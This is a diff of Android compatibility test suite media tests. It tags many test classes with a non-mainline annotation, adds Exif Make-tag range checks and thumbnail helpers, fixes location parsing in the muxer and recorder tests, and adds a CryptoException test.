--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -39,6 +39,7 @@
 import java.util.Iterator;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class AudioRecordingConfigurationTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioRecordingConfigurationTest";
 
@@ -219,6 +220,7 @@
         }
     }
 
+    @NonMediaMainlineTest
     public void testParcel() throws Exception {
         if (!hasMicrophone()) {
             return;
diff --git a/tests/tests/media/src/android/media/cts/AudioSystemTest.java b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
index 88ac120..d607d1f 100644
--- a/tests/tests/media/src/android/media/cts/AudioSystemTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioSystemTest.java
@@ -34,6 +34,7 @@
  * Java applications should use the client facing AudioManager APIs for Audio management.
  */
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 @SmallTest
 @AppModeFull(reason = "Instant applications do not have permission MODIFY_AUDIO_SETTINGS")
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
index 5b89ce0..f3ad83d 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackLatencyTest.java
@@ -49,6 +49,7 @@
 // Warns if not. This can happen if there is no Fast Mixer or if a FastTrack
 // is not available.
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "The APIs would either work correctly or not at all for instant apps")
 public class AudioTrackLatencyTest extends CtsAndroidTestCase {
     private String TAG = "AudioTrackLatencyTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index aa0d50b..fe1b62b 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -31,6 +31,7 @@
 import java.io.InputStream;
 import java.util.concurrent.Executor;
 
+@NonMediaMainlineTest
 public class AudioTrackOffloadTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioTrackOffloadTest";
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index 9de3bd2..96dd840 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -42,6 +42,7 @@
 // a few seconds of audio. The playback is verified by measuring the output
 // sample rate based on the AudioTimestamps.
 
+@NonMediaMainlineTest
 public class AudioTrackSurroundTest extends CtsAndroidTestCase {
     private static final String TAG = "AudioTrackSurroundTest";
 
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index fa20770..4ab16ff 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -52,6 +52,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@NonMediaMainlineTest
 @RunWith(AndroidJUnit4.class)
 public class AudioTrackTest {
     private String TAG = "AudioTrackTest";
diff --git a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
index 04666f4..89f42b0 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrack_ListenerTest.java
@@ -31,6 +31,7 @@
 
 import java.util.ArrayList;
 
+@NonMediaMainlineTest
 public class AudioTrack_ListenerTest extends CtsAndroidTestCase {
     private final static String TAG = "AudioTrack_ListenerTest";
     private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
diff --git a/tests/tests/media/src/android/media/cts/BassBoostTest.java b/tests/tests/media/src/android/media/cts/BassBoostTest.java
index 2004cf8..5055a2a 100644
--- a/tests/tests/media/src/android/media/cts/BassBoostTest.java
+++ b/tests/tests/media/src/android/media/cts/BassBoostTest.java
@@ -24,6 +24,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 public class BassBoostTest extends PostProcTestBase {
 
     private String TAG = "BassBoostTest";
diff --git a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
index 6abf63d..d0cfde7 100644
--- a/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CamcorderProfileTest.java
@@ -28,6 +28,7 @@
 import java.util.Arrays;
 import java.util.List;
 
+@NonMediaMainlineTest
 public class CamcorderProfileTest extends AndroidTestCase {
 
     private static final String TAG = "CamcorderProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/CameraProfileTest.java b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
index 62228c6..9949c73 100644
--- a/tests/tests/media/src/android/media/cts/CameraProfileTest.java
+++ b/tests/tests/media/src/android/media/cts/CameraProfileTest.java
@@ -24,6 +24,7 @@
 
 import java.util.List;
 
+@NonMediaMainlineTest
 public class CameraProfileTest extends AndroidTestCase {
 
     private static final String TAG = "CameraProfileTest";
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index dbbcaaf..55a0913 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -392,7 +392,7 @@
                         mediaFormat.setString(MediaFormat.KEY_FRAME_RATE, null);
                     }
                     if (mediaCodecList == null) {
-                        mediaCodecList = new MediaCodecList(MediaCodecList.ALL_CODECS);
+                        mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
                     }
                     decoder = MediaCodec.createByCodecName(
                             mediaCodecList.findDecoderForFormat(mediaFormat));
diff --git a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
index 1d84a3e..5872bef 100644
--- a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
+++ b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
@@ -33,6 +33,7 @@
 /**
  * TODO: Insert description here. (generated by pmclean)
  */
+@NonMediaMainlineTest
 public class EnumDevicesTest extends AndroidTestCase {
     private static final String TAG = "EnumDevicesTest";
 
diff --git a/tests/tests/media/src/android/media/cts/EnvReverbTest.java b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
index 14cad71..10d9bb9 100644
--- a/tests/tests/media/src/android/media/cts/EnvReverbTest.java
+++ b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
@@ -25,6 +25,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "Fails in instant mode")
 public class EnvReverbTest extends PostProcTestBase {
 
@@ -553,4 +554,4 @@
             mReverb2 = null;
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/EqualizerTest.java b/tests/tests/media/src/android/media/cts/EqualizerTest.java
index 7c405a5..38b5889 100644
--- a/tests/tests/media/src/android/media/cts/EqualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/EqualizerTest.java
@@ -24,6 +24,7 @@
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@NonMediaMainlineTest
 public class EqualizerTest extends PostProcTestBase {
 
     private String TAG = "EqualizerTest";
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index d25c76a..6bb448f 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -18,6 +18,7 @@
 
 import android.content.res.TypedArray;
 import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.os.Environment;
 import android.os.FileUtils;
@@ -41,6 +42,7 @@
 import java.io.OutputStream;
 import java.nio.charset.StandardCharsets;
 
+@NonMediaMainlineTest
 @AppModeFull(reason = "Instant apps cannot access the SD card")
 public class ExifInterfaceTest extends AndroidTestCase {
     private static final String TAG = ExifInterface.class.getSimpleName();
@@ -109,8 +111,13 @@
         public final float longitude;
         public final float altitude;
 
-        // Values.
+        // Make information
+        public final boolean hasMake;
+        public final int makeOffset;
+        public final int makeLength;
         public final String make;
+
+        // Values.
         public final String model;
         public final float aperture;
         public final String dateTimeOriginal;
@@ -164,8 +171,13 @@
             longitude = typedArray.getFloat(index++, 0f);
             altitude = typedArray.getFloat(index++, 0f);
 
-            // Reads values.
+            // Reads Make information.
+            hasMake = typedArray.getBoolean(index++, false);
+            makeOffset = typedArray.getInt(index++, -1);
+            makeLength = typedArray.getInt(index++, -1);
             make = getString(typedArray, index++);
+
+            // Reads values.
             model = getString(typedArray, index++);
             aperture = typedArray.getFloat(index++, 0f);
             dateTimeOriginal = getString(typedArray, index++);
@@ -274,14 +286,7 @@
                 assertEquals(expectedValue.thumbnailOffset, thumbnailRange[0]);
                 assertEquals(expectedValue.thumbnailLength, thumbnailRange[1]);
             }
-            byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
-            assertNotNull(thumbnailBytes);
-            Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
-            assertNotNull(thumbnailBitmap);
-            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
-            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
-            assertEquals(expectedValue.isThumbnailCompressed,
-                    exifInterface.isThumbnailCompressed());
+            testThumbnail(expectedValue, exifInterface);
         } else {
             assertNull(exifInterface.getThumbnailRange());
             assertNull(exifInterface.getThumbnail());
@@ -309,6 +314,23 @@
         }
         assertEquals(expectedValue.altitude, exifInterface.getAltitude(.0), DIFFERENCE_TOLERANCE);
 
+        // Checks Make information.
+        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+        assertEquals(expectedValue.hasMake, make != null);
+        if (expectedValue.hasMake) {
+            assertNotNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            if (assertRanges) {
+                final long[] makeRange = exifInterface
+                        .getAttributeRange(ExifInterface.TAG_MAKE);
+                assertEquals(expectedValue.makeOffset, makeRange[0]);
+                assertEquals(expectedValue.makeLength, makeRange[1]);
+            }
+            assertEquals(expectedValue.make, make.trim());
+        } else {
+            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_MAKE));
+            assertFalse(exifInterface.hasAttribute(ExifInterface.TAG_MAKE));
+        }
+
         // Checks values.
         assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
         assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
@@ -366,18 +388,18 @@
         // Creates via path.
         ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
         assertNotNull(exifInterface);
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
 
         // Creates via file.
         exifInterface = new ExifInterface(imageFile);
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
 
         InputStream in = null;
         // Creates via InputStream.
         try {
             in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
             exifInterface = new ExifInterface(in);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
         } finally {
             IoUtils.closeQuietly(in);
         }
@@ -387,7 +409,7 @@
         try {
             fd = Os.open(imageFile.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
             exifInterface = new ExifInterface(fd);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
         } catch (ErrnoException e) {
             throw e.rethrowAsIOException();
         } finally {
@@ -395,6 +417,59 @@
         }
     }
 
+    private void testExifInterfaceRange(String fileName, ExpectedValue expectedValue)
+            throws IOException {
+        File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
+        InputStream in = null;
+        try {
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasThumbnail) {
+                in.skip(expectedValue.thumbnailOffset);
+                byte[] thumbnailBytes = new byte[expectedValue.thumbnailLength];
+                if (in.read(thumbnailBytes) != expectedValue.thumbnailLength) {
+                    throw new IOException("Failed to read the expected thumbnail length");
+                }
+                // TODO: Need a way to check uncompressed thumbnail file
+                if (expectedValue.isThumbnailCompressed) {
+                    Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnailBytes, 0,
+                            thumbnailBytes.length);
+                    assertNotNull(thumbnailBitmap);
+                    assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+                    assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+                }
+            }
+            // TODO: Creating a new input stream is a temporary
+            //  workaround for BufferedInputStream#mark/reset not working properly for
+            //  LG_G4_ISO_800_DNG. Need to investigate cause.
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasMake) {
+                in.skip(expectedValue.makeOffset);
+                byte[] makeBytes = new byte[expectedValue.makeLength];
+                if (in.read(makeBytes) != expectedValue.makeLength) {
+                    throw new IOException("Failed to read the expected make length");
+                }
+                String makeString = new String(makeBytes);
+                // Remove null bytes
+                makeString = makeString.replaceAll("\u0000.*", "");
+                assertEquals(expectedValue.make, makeString.trim());
+            }
+            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
+            if (expectedValue.hasXmp) {
+                in.skip(expectedValue.xmpOffset);
+                byte[] identifierBytes = new byte[expectedValue.xmpLength];
+                if (in.read(identifierBytes) != expectedValue.xmpLength) {
+                    throw new IOException("Failed to read the expected xmp length");
+                }
+                final String xmpIdentifier = "<?xpacket begin=";
+                assertTrue(new String(identifierBytes, StandardCharsets.UTF_8)
+                        .startsWith(xmpIdentifier));
+            }
+            // TODO: Add code for retrieving raw latitude data using offset and length
+        } finally {
+            IoUtils.closeQuietly(in);
+        }
+    }
+
     private void testSaveAttributes_withFileName(String fileName, ExpectedValue expectedValue)
             throws IOException {
         File srcFile = new File(Environment.getExternalStorageDirectory(), fileName);
@@ -410,8 +485,17 @@
         String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
         exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
         exifInterface.saveAttributes();
+        // Check if thumbnail offset and length are properly updated without parsing the data again.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
         exifInterface = new ExifInterface(imageFile.getAbsolutePath());
         assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+        // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+        if (expectedValue.hasThumbnail) {
+            testThumbnail(expectedValue, exifInterface);
+        }
+
         // Restore the backup value.
         exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
         exifInterface.saveAttributes();
@@ -438,9 +522,19 @@
             String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
             exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
             exifInterface.saveAttributes();
+            // Check if thumbnail offset and length are properly updated without parsing the data
+            // again.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
             Os.lseek(fd, 0, OsConstants.SEEK_SET);
             exifInterface = new ExifInterface(fd);
             assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
+            // Check if thumbnail bytes can be retrieved from the new thumbnail range.
+            if (expectedValue.hasThumbnail) {
+                testThumbnail(expectedValue, exifInterface);
+            }
+
             // Restore the backup value.
             exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
             exifInterface.saveAttributes();
@@ -463,6 +557,9 @@
         fileName = EXTERNAL_BASE_DIRECTORY + fileName;
         testExifInterfaceCommon(fileName, expectedValue);
 
+        // Test for checking expected range by retrieving raw data with given offset and length.
+        testExifInterfaceRange(fileName, expectedValue);
+
         // Test for saving attributes.
         testSaveAttributes_withFileName(fileName, expectedValue);
         testSaveAttributes_withFileDescriptor(fileName, expectedValue);
@@ -477,8 +574,8 @@
         fileName = EXTERNAL_BASE_DIRECTORY + fileName;
         testExifInterfaceCommon(fileName, expectedValue);
 
-        // Since ExifInterface does not support for saving attributes for RAW files, do not test
-        // about writing back in here.
+        // Test for checking expected range by retrieving raw data with given offset and length.
+        testExifInterfaceRange(fileName, expectedValue);
     }
 
     public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
@@ -594,4 +691,16 @@
         FileUtils.copyFileOrThrow(original, cloned);
         return cloned;
     }
+
+    private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
+        byte[] thumbnail = exifInterface.getThumbnailBytes();
+        // TODO: Add support for testing validity of uncompressed thumbnails
+        if (expectedValue.isThumbnailCompressed) {
+            Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnail, 0,
+                    thumbnail.length);
+            assertNotNull(thumbnailBitmap);
+            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
index 7ee1bb6..ac8b2c3 100644
--- a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
+++ b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
@@ -825,7 +825,7 @@
                             0,
                             size,
                             presentationTime,
-                            videoExtractor.getSampleFlags());
+                            flags);
                     videoExtractedFrameCount++;
                 }
                 // We extracted a frame, let's try something else next.
diff --git a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
index 4df0475..94e4e37 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetectorTest.java
@@ -25,6 +25,7 @@
 import android.media.FaceDetector.Face;
 import android.test.InstrumentationTestCase;
 
+@NonMediaMainlineTest
 public class FaceDetectorTest extends InstrumentationTestCase {
 
     private FaceDetectorStub mActivity;
diff --git a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
index 9dc06ec2..7b50040 100644
--- a/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
+++ b/tests/tests/media/src/android/media/cts/FaceDetector_FaceTest.java
@@ -27,6 +27,7 @@
 
 import java.util.List;
 
+@NonMediaMainlineTest
 public class FaceDetector_FaceTest extends InstrumentationTestCase {
     private FaceDetectorStub mActivity;
 
diff --git a/tests/tests/media/src/android/media/cts/JetPlayerTest.java b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
index 9d01073..112d5a5 100644
--- a/tests/tests/media/src/android/media/cts/JetPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
@@ -34,6 +34,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
+@NonMediaMainlineTest
 public class JetPlayerTest extends AndroidTestCase {
     private OnJetEventListener mOnJetEventListener;
     private boolean mOnJetUserIdUpdateCalled;
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index d57c612..300a593 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -48,6 +48,7 @@
 /**
  * Test media activity which has called {@link Activity#setMediaController}.
  */
+@NonMediaMainlineTest
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class MediaActivityTest {
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
index 091151c..e7ef364 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
@@ -32,6 +32,7 @@
 /**
  * Test {@link android.service.media.MediaBrowserService}.
  */
+@NonMediaMainlineTest
 public class MediaBrowserServiceTest extends InstrumentationTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index c401c75..8c7d63d 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -29,6 +29,7 @@
 /**
  * Test {@link android.media.browse.MediaBrowser}.
  */
+@NonMediaMainlineTest
 public class MediaBrowserTest extends InstrumentationTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index 90cd301..74b0452 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -319,6 +319,11 @@
                 && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
     }
 
+    private boolean isAutomotive() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
     // Find whether the given codec can be found using MediaCodecList.find methods.
     private boolean codecCanBeFound(boolean isEncoder, MediaFormat format) {
         String codecName = isEncoder
@@ -410,7 +415,11 @@
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, false));   // vp8 decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, true));    // vp8 encoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP9, false));   // vp9 decoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+
+            //According to CDD, hevc decoding is not mandatory for automotive devices
+            if (!isAutomotive()) {
+                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+            }
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_MPEG4, false)); // m4v decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, false));  // h263 decoder
             if (hasCamera()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index 7151d36..558cad9 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -24,6 +24,7 @@
 import android.media.MediaCodec;
 import android.media.MediaCodec.BufferInfo;
 import android.media.MediaCodec.CodecException;
+import android.media.MediaCodec.CryptoException;
 import android.media.MediaCodec.CryptoInfo;
 import android.media.MediaCodec.CryptoInfo.Pattern;
 import android.media.MediaCodecInfo;
@@ -1818,6 +1819,18 @@
     }
 
     /**
+     * Tests MediaCodec.CryptoException
+     */
+    public void testCryptoException() {
+        int errorCode = CryptoException.ERROR_KEY_EXPIRED;
+        String errorMessage = "key_expired";
+        CryptoException exception = new CryptoException(errorCode, errorMessage);
+
+        assertEquals(errorCode, exception.getErrorCode());
+        assertEquals(errorMessage, exception.getMessage());
+    }
+
+    /**
      * PCM encoding configuration test.
      *
      * If not specified in configure(), PCM encoding if it exists must be 16 bit.
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 363928a..d6beefe 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -39,6 +39,7 @@
 /**
  * Test {@link android.media.session.MediaController}.
  */
+@NonMediaMainlineTest
 public class MediaControllerTest extends AndroidTestCase {
     // The maximum time to wait for an operation.
     private static final long TIME_OUT_MS = 3000L;
diff --git a/tests/tests/media/src/android/media/cts/MediaItemTest.java b/tests/tests/media/src/android/media/cts/MediaItemTest.java
index dc12b97..53217ca 100644
--- a/tests/tests/media/src/android/media/cts/MediaItemTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaItemTest.java
@@ -23,6 +23,7 @@
 /**
  * Test {@link android.media.browse.MediaBrowser.MediaItem}.
  */
+@NonMediaMainlineTest
 public class MediaItemTest extends AndroidTestCase {
     private static final String DESCRIPTION = "test_description";
     private static final String MEDIA_ID = "test_media_id";
@@ -74,4 +75,4 @@
                 MediaDescription.CREATOR.createFromParcel(p).toString());
         p.recycle();
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index d26587b..c873691 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -631,6 +631,12 @@
         // parsing String location and recover the location information in floats
         // Make sure the tolerance is very small - due to rounding errors.
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longitude.
         int minusIndex = location.lastIndexOf('-');
@@ -640,12 +646,8 @@
                 (minusIndex > 0 || plusIndex > 0));
         int index = Math.max(minusIndex, plusIndex);
 
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude + " [" + location + "]",
                 Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude + " [" + location + "]",
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
index a4ba637..8e15543 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
@@ -46,6 +46,7 @@
  * Executes a range of tests on MediaPlayer while streaming a video
  * from an HTTP server over a simulated "flaky" network.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase {
     private static final String PKG = "android.media.cts";
diff --git a/tests/tests/media/src/android/media/cts/MediaRandomTest.java b/tests/tests/media/src/android/media/cts/MediaRandomTest.java
index 306b451..30fd364 100644
--- a/tests/tests/media/src/android/media/cts/MediaRandomTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRandomTest.java
@@ -38,6 +38,7 @@
  * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
  * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
  */
+@NonMediaMainlineTest
 @MediaHeavyPresubmitTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaRandomTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 70d5c20..be33988 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -513,6 +513,12 @@
         // Make sure the tolerance is very small - due to rounding errors?.
         Log.v(TAG, "location: " + location);
 
+        // Trim the trailing slash, if any.
+        int lastIndex = location.lastIndexOf('/');
+        if (lastIndex != -1) {
+            location = location.substring(0, lastIndex);
+        }
+
         // Get the position of the -/+ sign in location String, which indicates
         // the beginning of the longtitude.
         int index = location.lastIndexOf('-');
@@ -521,12 +527,8 @@
         }
         assertTrue("+ or - is not found", index != -1);
         assertTrue("+ or - is only found at the beginning", index != 0);
-        float latitude = Float.parseFloat(location.substring(0, index - 1));
-        int lastIndex = location.lastIndexOf('/', index);
-        if (lastIndex == -1) {
-            lastIndex = location.length();
-        }
-        float longitude = Float.parseFloat(location.substring(index, lastIndex - 1));
+        float latitude = Float.parseFloat(location.substring(0, index));
+        float longitude = Float.parseFloat(location.substring(index));
         assertTrue("Incorrect latitude: " + latitude, Math.abs(latitude - LATITUDE) <= TOLERANCE);
         assertTrue("Incorrect longitude: " + longitude, Math.abs(longitude - LONGITUDE) <= TOLERANCE);
         retriever.release();
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index f05fcd7..3d51d57 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -39,6 +39,7 @@
 /**
  * Test {@link android.media.MediaRouter}.
  */
+@NonMediaMainlineTest
 @AppModeFull(reason = "TODO: evaluate and port to instant")
 public class MediaRouterTest extends InstrumentationTestCase {
 
